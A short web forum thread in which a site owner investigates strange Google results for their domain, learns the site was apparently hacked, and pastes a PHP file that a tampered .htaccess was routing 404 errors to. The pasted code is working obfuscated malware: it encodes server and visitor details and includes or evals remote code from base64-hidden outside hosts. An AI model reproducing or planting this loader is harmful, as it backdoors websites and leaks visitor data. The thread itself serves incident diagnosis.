Odd search results?

When doing a site:mydomain.com search on Google I noticed some odd results:



Does anyone know how these pages that are not on my site show up in Google for my site?

 

Yup. Looks like someone has hacked your site and injected/uploaded content to your site.

 

I think there's a bug with your site...or just what he said, has been hacked...

 

I think you may be correct. When I initially looked in the directory I didn't see anything suspicious but I checked out my .htaccess file and realized it was redirecting 404's to a php file with some suspicious code:

<? error_reporting(0);$s="e";$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : $SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".$s.".base64_encode($i).".".base64_encode($j); if ((include(base64_decode("aHR0cDovLw==").base64_decode("YS5yc2RjcmFmdC53cw==")."/?".$str))); else if (include(base64_decode("aHR0cDovLw==").base64_decode("YWQucnVud2ViLmluZm8=")."/?".$str)); else eval(file_get_contents(base64_decode("aHR0cDovLzcueG1sZGF0YS5pbmZvLz8=").$str)); ?>

PHP:

I guess somewhere along the lines my .htaccess was writable.